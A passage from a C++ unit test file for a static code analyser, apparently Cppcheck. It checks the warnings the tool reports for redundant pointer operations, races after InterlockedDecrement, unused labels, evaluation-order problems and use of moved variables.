true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : 